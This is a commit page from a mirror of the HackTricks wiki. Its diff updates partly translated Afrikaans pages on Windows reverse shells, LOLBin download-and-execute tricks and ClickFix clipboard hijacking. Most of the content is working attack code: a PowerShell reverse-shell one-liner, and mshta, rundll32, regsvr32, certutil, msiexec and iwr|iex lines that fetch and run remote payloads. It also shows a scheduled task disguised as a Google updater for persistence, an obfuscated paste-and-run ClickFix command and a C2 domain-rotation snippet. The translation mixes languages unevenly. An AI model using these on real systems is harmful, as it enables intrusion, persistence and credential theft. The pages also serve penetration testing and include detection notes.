maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/reversing/common-api-used-in-malware.md', 'src/generic-

Browse Source
This commit is contained in:
Translator 2025-09-29 13:30:33 +00:00
parent d3f85ecff0
commit 399f36d62a
4 changed files with 492 additions and 373 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

139
src/generic-hacking/reverse-shells/windows.md
View File

@ -4,8 +4,8 @@
## Lolbas
Die bladsy [lolbas-project.github.io](https://lolbas-project.github.io/) is vir Windows soos [https://gtfobins.github.io/](https://gtfobins.github.io/) vir linux.\
Dit is duidelik, **daar is geen SUID-lêers of sudo-regte in Windows nie**, maar dit is nuttig om te weet **hoe** sommige **binaries** (mis)bruik kan word om 'n soort onverwagte aksies uit te voer soos **arbitraire kode uit te voer.**
Die bladsy [lolbas-project.github.io](https://lolbas-project.github.io/) is vir Windows soos [https://gtfobins.github.io/](https://gtfobins.github.io/) is vir linux.\
Natuurlik is **there aren't SUID files or sudo privileges in Windows**, maar dit is nuttig om te weet **how** sommige **binaries** misbruik kan word om sekere onverwagte aksies uit te voer soos **execute arbitrary code.**
## NC
```bash
@ -27,7 +27,7 @@ ncat -l <PORT eg.443> --ssl
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/) is 'n draagbare en veilige Netcat alternatief**. Dit werk op Unix-agtige stelsels en Win32. Met funksies soos sterk versleuteling, programuitvoering, aanpasbare bronpoorte, en deurlopende herverbinding, bied sbd 'n veelsydige oplossing vir TCP/IP kommunikasie. Vir Windows gebruikers kan die sbd.exe weergawe van die Kali Linux verspreiding as 'n betroubare vervanging vir Netcat gebruik word.
**[sbd](https://www.kali.org/tools/sbd/) is a portable and secure Netcat alternative**. Dit werk op Unix-agtige stelsels en Win32. Met funksies soos sterk enkripsie, programuitvoering, aanpasbare bronpoorte en deurlopende herverbinding bied sbd 'n veelsydige oplossing vir TCP/IP-kommunikasie. Vir Windows-gebruikers kan die sbd.exe-weergawe van die Kali Linux-distributie as 'n betroubare vervanging vir Netcat gebruik word.
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -60,13 +60,13 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
```
## OpenSSH
Aanvaller (Kali)
Attacker (Kali)
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
Slachtoffer
Slagoffer
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -82,14 +82,14 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
Proses wat netwerkoproep uitvoer: **powershell.exe**\
Payload op skyf geskryf: **NEE** (_ten minste nêrens waar ek met procmon kon vind!_)
Payload geskryf op skyf: **NEE** (_ten minste nêrens wat ek kon vind deur procmon nie !_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
Proses wat netwerkoproep uitvoer: **svchost.exe**\
Payload op skyf geskryf: **WebDAV kliënt plaaslike kas**
Proses wat 'n netwerkoproep maak: **svchost.exe**\
Payload op skyf geskryf: **WebDAV client local cache**
**Een-liner:**
**Eenreël:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
@ -97,7 +97,7 @@ $client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $c
## Mshta
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
@ -109,15 +109,15 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **Voorbeeld van hta-psh omgekeerde skulp (gebruik hta om PS agterdeur af te laai en uit te voer)**
#### **Voorbeeld van hta-psh reverse shell (gebruik hta om 'n PS backdoor af te laai en uit te voer)**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Jy kan 'n Koadic zombie baie maklik aflaai en uitvoer met die stager hta**
**Jy kan 'n Koadic zombie baie maklik download & execute met die stager hta**
#### hta voorbeeld
[**Van hier**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
[**Vanaf hier**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
```xml
<html>
<head>
@ -134,7 +134,7 @@ new ActiveXObject('WScript.Shell').Run(c);
```
#### **mshta - sct**
[**Van hier**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**Vanaf hier**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -161,13 +161,13 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Gedig deur verdediger**
**Gedetecteer deur Defender**
## **Rundll32**
[**Dll hello world voorbeeld**](https://github.com/carterjones/hello-world-dll)
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
@ -175,11 +175,11 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**Gedig deur verdediger**
**Gedetecteer deur Defender**
**Rundll32 - sct**
[**Van hier**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
[**Vanaf hier**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -211,7 +211,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject(
```
## Regsvr32
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
@ -219,11 +219,31 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Gedig deur verdediger**
**Waargeneem deur verdediger**
#### Regsvr32 -sct
#### Regsvr32 – arbitrêre DLL-export met die /i-argument (toegangsbeheer en persistentie)
[**Van hier**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
Behalwe dat dit remote scriptlets (`scrobj.dll`) laai, sal `regsvr32.exe` 'n plaaslike DLL laai en sy `DllRegisterServer`/`DllUnregisterServer` exports aanroep. Aangepaste loaders misbruik dit gereeld om arbitrêre kode uit te voer terwyl hulle by 'n ondertekende LOLBin inpas. Twee tradecraft-aantekeninge wat in die veld waargeneem is:
- Gatekeeping-argument: die DLL sluit tensy 'n spesifieke skakelaar via `/i:<arg>` deurgegee word, bv. `/i:--type=renderer` om Chromium renderer-kindprosesse na te boots. Dit verminder per ongeluk uitvoering en frustreer sandkaste.
- Persistensie: skeduleer `regsvr32` om die DLL te laat loop met stille en hoë voorregte en die vereiste `/i`-argument, terwyl dit voordoen as 'n updater-taak:
```powershell
Register-ScheduledTask \
-Action (New-ScheduledTaskAction -Execute "regsvr32" -Argument "/s /i:--type=renderer \"%APPDATA%\Microsoft\SystemCertificates\<name>.dll\"") \
-Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) \
-TaskName 'GoogleUpdaterTaskSystem196.6.2928.90.{FD10B0DF-...}' \
-TaskPath '\\GoogleSystem\\GoogleUpdater' \
-Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit 0 -DontStopOnIdleEnd) \
-RunLevel Highest
```
Sien ook: ClickFix clipboard‑to‑PowerShell variant wat 'n JS-loader laai en later met `regsvr32` persistensie bewerkstellig.
{{#ref}}
../../generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
{{#endref}}
[**From here**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```html
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
@ -253,7 +273,7 @@ run
## Certutil
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
Laai 'n B64dll af, dekodeer dit en voer dit uit.
```bash
@ -263,7 +283,7 @@ Laai 'n B64exe af, dekodeer dit en voer dit uit.
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
```
**Gedeelte deur verdediger**
**Gedetecteer deur defender**
## **Cscript/Wscript**
```bash
@ -273,14 +293,14 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
```
**Gedeelte deur verdediger**
**Gevind deur defender**
## PS-Bat
```bash
\\webdavserver\folder\batchfile.bat
```
Proses wat netwerkoproep uitvoer: **svchost.exe**\
Payload op skyf geskryf: **WebDAV kliënt plaaslike kas**
Payload op skyf geskryf: **WebDAV client local cache**
```bash
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
impacket-smbserver -smb2support kali `pwd`
@ -289,7 +309,7 @@ impacket-smbserver -smb2support kali `pwd`
```bash
\\10.8.0.3\kali\shell.bat
```
**Gedig deur verdediger**
**Gevind deur defender**
## **MSIExec**
@ -298,7 +318,7 @@ Aanvaller
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
python -m SimpleHTTPServer 80
```
Slachtoffer:
Slagoffer:
```
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
```
@ -306,11 +326,11 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
## **Wmic**
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
wmic os get /format:"https://webserver/payload.xsl"
```
Voorbeeld xsl-lêer [van hier](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
Voorbeeld xsl-lêer [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
```xml
<?xml version='1.0'?>
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
@ -322,68 +342,68 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
</ms:script>
</stylesheet>
```
**Nie gedetecteer nie**
**Nie opgespoor**
**Jy kan 'n Koadic zombie baie maklik aflaai en uitvoer met die stager wmic**
**Jy kan baie maklik 'n Koadic zombie aflaai en uitvoer met die stager wmic**
## Msbuild
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
```
Jy kan hierdie tegniek gebruik om Toepassing Witlys en Powershell.exe beperkings te omseil. Aangesien jy met 'n PS-skal gevra sal word.\
Laai net dit af en voer dit uit: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
Jy kan hierdie tegniek gebruik om Application Whitelisting en Powershell.exe-beperkings te omseil. Jy sal 'n PS shell kry.\
Laai dit net af en voer dit uit: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
```
**Nie gedetecteer nie**
**Nie opgespoor**
## **CSC**
Kompileer C# kode in die slagoffer masjien.
Kompileer C# code op die slagoffer se masjien.
```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
```
U kan 'n basiese C# reverse shell hier aflaai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
Jy kan 'n basiese C# reverse shell hiervandaan aflaai: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
**Nie gedetekteer nie**
**Nie opgespoor nie**
## **Regasm/Regsvc**
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
```
**Ek het dit nie probeer nie**
**Ek het dit nog nie probeer nie**
[**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182)
## Odbcconf
- [Van hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Vanaf hier](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
```
**Ek het dit nie probeer nie**
**Ek het dit nog nie probeer nie**
[**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2)
## Powershell Skale
## Powershell Shells
### PS-Nishang
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
In die **Skale** gids, is daar 'n baie verskillende skale. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skrif en voeg by die einde van die lêer:
In die **Shells**-gids is daar baie verskillende shells. Om Invoke-_PowerShellTcp.ps1_ af te laai en uit te voer, maak 'n kopie van die skrip en voeg dit aan die einde van die lêer:
```
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
```
Begin om die skrip op 'n webbediener te bedien en voer dit aan die slagoffer se kant uit:
Begin om die script op 'n web server te bedien en voer dit aan die slagoffer se kant uit:
```
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
```
Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019).
Defender bespeur dit nie as kwaadwillige kode nie (nog nie, 3/04/2019).
**TODO: Kontroleer ander nishang shells**
@ -391,11 +411,11 @@ Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019).
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
Laai af, begin 'n webbediener, begin die luisteraar, en voer dit aan die slagoffer se kant uit:
Laai af, begin 'n webbediener, begin die listener, en voer dit op die slagoffer se kant uit:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019).
Defender detecteer dit nie as kwaadwillige kode nie (nog nie, 3/04/2019).
**Ander opsies wat deur powercat aangebied word:**
@ -420,35 +440,35 @@ powercat -l -p 443 -i C:\inputfile -rep
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
Skep 'n powershell-lancer, stoor dit in 'n lêer en laai dit af en voer dit uit.
Skep 'n powershell launcher, stoor dit in 'n lêer en laai dit af en voer dit uit.
```
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
```
**Gedig as kwaadwillige kode**
**Bespeur as kwaadwillige kode**
### MSF-Unicorn
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
Skep 'n powershell weergawe van metasploit agterdeur met behulp van unicorn
Skep 'n powershell-weergawe van die metasploit backdoor met unicorn
```
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
```
Begin msfconsole met die geskepte hulpbron:
Begin msfconsole met die geskepte resource:
```
msfconsole -r unicorn.rc
```
Begin 'n webbediener wat die _powershell_attack.txt_ lêer bedien en voer dit in die slagoffer uit:
Begin 'n webbediener wat die _powershell_attack.txt_ lêer bedien en voer dit op die slagoffer uit:
```
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
```
**Gedig as kwaadwillige kode**
**Gedetecteer as kwaadwillige kode**
## Meer
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS-konsol met 'n paar offensiewe PS-modules vooraf gelaai (gecyfer)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsol met 'n paar offensiewe PS-modules en proxy-detektering (IEX)
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console met 'n paar offensiewe PS-modules vooraf gelaai (versleuteld)\
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
WinPWN](https://github.com/SecureThisShit/WinPwn) PS console met 'n paar offensiewe PS-modules en proxy-detectie (IEX)
## Verwysings
@ -459,5 +479,6 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-konsol met 'n paar offensie
- [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
- [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
- [Check Point Research – Onder die suiwer gordyn: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)
{{#include ../../banners/hacktricks-training.md}}

93
src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md
View File

@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
> "Moet nooit iets plak wat jy nie self gekopieer het nie." – ou maar steeds geldige advies
> "Moet nooit iets plak wat jy nie self gekopieer het nie." – ou maar steeds geldende advies
## Oorsig
Clipboard hijacking – ook bekend as *pastejacking* – misbruik die feit dat gebruikers gereeld opdragte kopieer en plak sonder om dit te ondersoek. 'n Kwaadwillige webblad (of enige JavaScript-ondersteunende konteks soos 'n Electron of Desktop-toepassing) plaas programmatig aanvaller-beheerde teks in die stelselskyfie. Slachtoffers word aangemoedig, normaalweg deur sorgvuldig saamgestelde sosiale ingenieursinstruksies, om **Win + R** (Hardeskyf dialoog), **Win + X** (Vinnoottoegang / PowerShell), of 'n terminale te open en die skyfie-inhoud te *plak*, wat onmiddellik arbitrêre opdragte uitvoer.
Clipboard hijacking – also known as *pastejacking* – misbruik die feit dat gebruikers gewoonlik opdragte kopieer-en-plak sonder om dit te inspekteer. 'n Kwaadaardige webblad (of enige JavaScript-ondersteunende konteks soos 'n Electron- of Desktop-toepassing) plaas programmaties deur 'n aanvaller beheerde teks in die stelselklembord. Slagoffers word gewoonlik aangemoedig, meestal deur sorgvuldig saamgestelde social-engineering-instruksies, om **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell) te druk, of 'n terminal te open en die klembordinhoud *plak*, wat dadelik willekeurige opdragte uitvoer.
Omdat **geen lêer afgelaai word en geen aanhangsel geopen word nie**, omseil die tegniek die meeste e-pos en webinhoud sekuriteitsbeheermaatreëls wat aanhangsels, makros of direkte opdraguitvoering monitor. Die aanval is dus gewild in phishingveldtogte wat kommoditeits malware-families soos NetSupport RAT, Latrodectus loader of Lumma Stealer lewer.
Omdat **geen lêer afgelaai word en geen aanhangsel oopgemaak word nie**, omseil die tegniek die meeste e-pos- en webinhoud-sekuriteitskontroles wat aanhangsels, macros of direkte opdraguitvoering monitor. Die aanval is daarom populêr in phishing-veldtogte wat alledaagse malware-families soos NetSupport RAT, Latrodectus loader of Lumma Stealer lewer.
## JavaScript Bewys-van-Konsep
```html
@ -22,17 +22,17 @@ navigator.clipboard.writeText(payload)
}
</script>
```
Oudere veldtogte het `document.execCommand('copy')` gebruik, nu rely op die asynchrone **Clipboard API** (`navigator.clipboard.writeText`).
Ouer veldtogte het `document.execCommand('copy')` gebruik, nuwer vertrou op die asynchrone **Clipboard API** (`navigator.clipboard.writeText`).
## Die ClickFix / ClearFake Stroom
## Die ClickFix / ClearFake-proses
1. Gebruiker besoek 'n typosquatted of gecompromitteerde webwerf (bv. `docusign.sa[.]com`)
2. Ingemengde **ClearFake** JavaScript roep 'n `unsecuredCopyToClipboard()` helper aan wat stilweg 'n Base64-gecodeerde PowerShell een-liner in die klembord stoor.
3. HTML instruksies sê vir die slagoffer: *“Druk **Win + R**, plak die opdrag en druk Enter om die probleem op te los.”*
4. `powershell.exe` voer uit, wat 'n argief aflaai wat 'n wettige uitvoerbare lêer plus 'n kwaadwillige DLL bevat (klassieke DLL sideloading).
5. Die loader dekripteer addisionele fases, injecteer shellcode en installeer volharding (bv. geskeduleerde taak) – uiteindelik die NetSupport RAT / Latrodectus / Lumma Stealer laat loop.
1. Gebruiker besoek 'n typosquatted of compromised site (bv. `docusign.sa[.]com`)
2. Ingespuite **ClearFake** JavaScript roep 'n `unsecuredCopyToClipboard()` helper aan wat stilweg 'n Base64-encoded PowerShell one-liner in die klembord stoor.
3. HTML-instruksies vertel die slagoffer om: *“Druk **Win + R**, plak die opdrag en druk Enter om die probleem op te los.”*
4. `powershell.exe` voer uit en laai 'n argief af wat 'n wettige uitvoerbare lêer plus 'n kwaadwillige DLL bevat (klassieke DLL sideloading).
5. Die loader decrypts additional stages, injects shellcode and installs persistence (e.g. scheduled task) – uiteindelik running NetSupport RAT / Latrodectus / Lumma Stealer.
### Voorbeeld NetSupport RAT Ketting
### Voorbeeld NetSupport RAT Chain
```powershell
powershell -nop -w hidden -enc <Base64>
# ↓ Decodes to:
@ -40,42 +40,76 @@ Invoke-WebRequest -Uri https://evil.site/f.zip -OutFile %TEMP%\f.zip ;
Expand-Archive %TEMP%\f.zip -DestinationPath %TEMP%\f ;
%TEMP%\f\jp2launcher.exe # Sideloads msvcp140.dll
```
* `jp2launcher.exe` (legitieme Java WebStart) soek sy gids vir `msvcp140.dll`.
* Die kwaadwillige DLL los dinamies API's op met **GetProcAddress**, laai twee binaries (`data_3.bin`, `data_4.bin`) af via **curl.exe**, dekripteer hulle met 'n rolende XOR-sleutel `"https://google.com/"`, inspuit die finale shellcode en unzip **client32.exe** (NetSupport RAT) na `C:\ProgramData\SecurityCheck_v1\`.
* `jp2launcher.exe` (wettige Java WebStart) soek sy gids vir `msvcp140.dll`.
* Die kwaadwillige DLL los dinamies API's op met **GetProcAddress**, laai twee binaries (`data_3.bin`, `data_4.bin`) af via **curl.exe**, dekripteer hulle met 'n rollende XOR-sleutel `"https://google.com/"`, injekteer die finale shellcode en pak **client32.exe** (NetSupport RAT) uit na `C:\ProgramData\SecurityCheck_v1\`.
### Latrodectus Loader
```
powershell -nop -enc <Base64> # Cloud Identificator: 2031
```
1. Laai `la.txt` af met **curl.exe**
2. Voer die JScript aflaaier uit binne **cscript.exe**
3. Verkry 'n MSI payload → laat `libcef.dll` val langs 'n gesertifiseerde toepassing → DLL sideloading → shellcode → Latrodectus.
2. Voer die JScript downloader binne **cscript.exe** uit
3. Haal 'n MSI payload af → plaas `libcef.dll` langs 'n gesigneerde toepassing → DLL sideloading → shellcode → Latrodectus.
### Lumma Stealer via MSHTA
```
mshta https://iplogger.co/xxxx =+\\xxx
```
Die **mshta** oproep begin 'n verborge PowerShell-skrip wat `PartyContinued.exe` aflaai, `Boat.pst` (CAB) onttrek, `AutoIt3.exe` herbou deur middel van `extrac32` & lêer-konsolidasie en laastens 'n `.a3x` skrip uitvoer wat blaaiers se akrediteerbare inligting na `sumeriavgv.digital` uitvoer.
Die **mshta**-aanroep lanseer 'n verborge PowerShell-skrip wat `PartyContinued.exe` aflaai, `Boat.pst` (CAB) uitpak, `AutoIt3.exe` herbou deur `extrac32` en lêerkonkatenasie, en uiteindelik 'n `.a3x`-skrip uitvoer wat browser credentials na `sumeriavgv.digital` exfiltrates.
## Opsporing & Jag
## ClickFix: Clipboard → PowerShell → JS eval → Startup LNK with rotating C2 (PureHVNC)
Blou-spanne kan klembord, proses-skepping en registrasie telemetrie kombineer om pastejacking misbruik te identifiseer:
Sommige ClickFix-campagnes slaan lêeraflaaie heeltemal oor en beveel slagoffers aan om 'n eenreël-opdrag te plak wat JavaScript via WSH aflaai en uitvoer, dit laat voortbestaan, en die C2 daagliks roteer. Voorbeeld van 'n waargenome ketting:
```powershell
powershell -c "$j=$env:TEMP+'\a.js';sc $j 'a=new
ActiveXObject(\"MSXML2.XMLHTTP\");a.open(\"GET\",\"63381ba/kcilc.ellrafdlucolc//:sptth\".split(\"\").reverse().join(\"\"),0);a.send();eval(a.responseText);';wscript $j" Prеss Entеr
```
Belangrike kenmerke
- Verdoezelde URL omgekeer tydens runtime om oppervlakkige inspeksie te ontduik.
- JavaScript maak homself persistent via Startup LNK (WScript/CScript), en kies die C2 volgens die huidige dag – wat vinnige domeinrotasie moontlik maak.
* Windows Registrasie: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` hou 'n geskiedenis van **Win + R** opdragte – soek na ongewone Base64 / obfuscated inskrywings.
* Sekuriteit Gebeurtenis ID **4688** (Proses Skepping) waar `ParentImage` == `explorer.exe` en `NewProcessName` in { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }.
* Gebeurtenis ID **4663** vir lêer skeppings onder `%LocalAppData%\Microsoft\Windows\WinX\` of tydelike vouers reg voor die verdagte 4688 gebeurtenis.
* EDR klembord sensors (indien beskikbaar) – korreleer `Clipboard Write` onmiddellik gevolg deur 'n nuwe PowerShell proses.
Minimale JS-fragment wat gebruik word om C2s volgens datum te roteer:
```js
function getURL() {
var C2_domain_list = ['stathub.quest','stategiq.quest','mktblend.monster','dsgnfwd.xyz','dndhub.xyz'];
var current_datetime = new Date().getTime();
var no_days = getDaysDiff(0, current_datetime);
return 'https://'
+ getListElement(C2_domain_list, no_days)
+ '/Y/?t=' + current_datetime
+ '&v=5&p=' + encodeURIComponent(user_name + '_' + pc_name + '_' + first_infection_datetime);
}
```
Die volgende fase ontplooi gewoonlik 'n loader wat persistensie vestig en 'n RAT (e.g., PureHVNC) aflaai, dikwels pinning TLS to a hardcoded certificate and chunking traffic.
## Versagtings
Detection ideas specific to this variant
- Prosesboom: `explorer.exe` → `powershell.exe -c` → `wscript.exe <temp>\a.js` (or `cscript.exe`).
